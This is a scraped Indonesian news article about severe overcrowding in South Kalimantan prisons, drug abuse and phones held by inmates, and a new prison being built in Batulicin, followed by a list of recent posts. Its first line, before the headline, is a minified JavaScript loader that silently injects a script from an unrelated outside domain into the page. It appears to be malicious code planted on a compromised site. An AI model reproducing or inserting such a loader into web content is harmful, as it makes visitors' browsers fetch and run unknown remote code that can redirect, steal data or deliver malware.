(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Daya Tampung, Narkoba Hingga HP di Lapas, ‘PR’ Lama yang Tak Pernah Tuntas


BANJARBARU, Over kapasitas di Lembaga Permasyarakatan (Lapas) maupun Rutan memang terjadi di seluruh wilayah Indonesia, tidak terkecuali di Kalimantan Selatan. Bahkan, jika dibandingkan dengan jumlah narapidana se Kalsel, persentase jumlah penghuni dengan daya tampung hampir mencapai angka 500 persen.

“Masih over kapasitas, malah hampir 500 persen. Warga binaan pemasyarakatan se-Kalsel totalnya 9.000-an lebih, sedangkan kapasitas UPT Permasyarakatan kita hanya 2.000-an saja,” beber Kadivpas Kemenkumham Kalsel, Alfi Zahrin Kiemas.

Langkah-langkah menghadapi over kapasitas ini, ungkap Alfi, pihaknya sedang membangun Lapas baru di Batulicin, Kabupaten Tanah Bumbu. Rencananya, narapidana yang sudah memenuhi Lapas maupun Rutan yang ada di Kalsel saat ini akan dipindahkan ke Lapas tersebut.

. Lapas Batulicin yang sedang dibangun. Foto : rico

“Lapas Batulicin itu kapasitasnya kurang lebih untuk 1.200 penghuni. Untuk mengurangi yang di Banjarbaru dan Banjarmasin, khususnya di Lapas Kota Baru, warga binaan akan kita geser ke Batu Licin. Saat ini lagi pembangunan, jika sudah selesai akan kita isi secepatnya,” lanjutnya.

Selain mengurai over kapasitas, Lapas Batulicin  juga diharapkan dapat mendukung kelancaran proses hukum yang cepat dan biaya ringan, karena selama ini proses persidangan harus bolak balik antara Pengadilan Batulicin dan Lapas Kotabaru. Masyarakat Tanah Bumbu juga dimudahkan untuk berkomunikasi dan interaksi dengan keluarga narapidana.

Sementara itu, Gubernur Kalsel H Sahbirin Noor juga turut angkat bicara terkait over kapasitas di Kalsel. Menurutnya, dampak penuhnya penghuni  Lapas membuat terjadinya pelanggaran bahkan tindak pidana di dalam Lapas itu sendiri.

“Masih sering ditemukan narapidana yang melakukan penyalahgunaan narkotika di dalam Lapas. Ada juga narapidana yang memegang handphone. Ini menjadi tugas bagi petugas Lapas merubah paradigmanya agar kejadian tersebut jangan terulang,” katanya.

Disinggung mengenai adanya penyalahgunaan transaksi narkoba di Lapas, Kadivpas Kemenkumham Kalsel mengatakan, pihaknya akan lebih mengoptimalkan dan menindak lanjuti kasus yang terjadi selama ini.

“Pasti kita optimalkan, itu pesan kepala daerah. Kita cari tahu dulu penyebabnyaa kenapa bisa terjadi, kita pelajari, dalami, lalu kita tangkap,” lugas Alfi. (rico)

Reporter : Rico
Editor : Bie

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.